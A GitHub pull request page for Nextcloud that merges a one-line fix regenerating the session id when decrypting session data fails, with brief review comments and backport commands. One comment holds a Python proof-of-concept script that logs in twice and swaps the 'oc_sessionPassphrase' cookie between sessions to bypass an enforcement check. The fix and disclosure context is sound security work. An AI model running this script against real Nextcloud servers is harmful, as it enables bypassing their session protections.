Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Generate a new session id if the decrypting the session data fails #24550

Merged
merged 1 commit into from
Dec 4, 2020

Conversation

rullzer
Copy link
Member

@rullzer rullzer commented Dec 4, 2020

Signed-off-by: Roeland Jago Douma [email protected]

@@ -87,6 +87,7 @@ protected function initializeSession() {
);
} catch (\Exception $e) {
$this->sessionValues = [];
$this->regenerateId(true, false);
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Those are the default values, so skip?

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'd rather be explicit here

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

#!/usr/bin/python3

python3 -m pip install requests beautifulsoup4

python3 bypass.py

from requests import Session
from bs4 import BeautifulSoup

class NextCloud(object):
def init(self, baseURL):
self.session = Session()
self.baseURL = baseURL

def login(self, data):
    response = self.session.get(f'{self.baseURL}/login')
    soup = BeautifulSoup(response.text, 'html.parser')
    data.update({
        'requesttoken': soup.find('head')['data-requesttoken']
    })
    self.session.post(f'{self.baseURL}/login', data = data)

def getCookies(self):
    return self.session.cookies.get_dict()

if name == 'main':
baseURL = 'http://nextcloud.diefunction.local'
data = {
'user': 'bypass',
'password': 'NextCloudEnforcement'
}
firstSession = NextCloud(baseURL)
secondSession = NextCloud(baseURL)
firstSession.login(data)
secondSession.login(data)
cookies = firstSession.getCookies()
cookies['oc_sessionPassphrase'] = secondSession.getCookies()['oc_sessionPassphrase']
print(f'[Cookies] {cookies}') # change your browser cookies to bypass enforcement

@rullzer
Copy link
Member Author

rullzer commented Dec 4, 2020

/backport to stable20

@rullzer
Copy link
Member Author

rullzer commented Dec 4, 2020

/backport to stable19

@rullzer
Copy link
Member Author

rullzer commented Dec 4, 2020

/backport to stable18

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3. to review Waiting for reviews enhancement
Projects
None yet
Development

Successfully merging this pull request may close these issues.

4 participants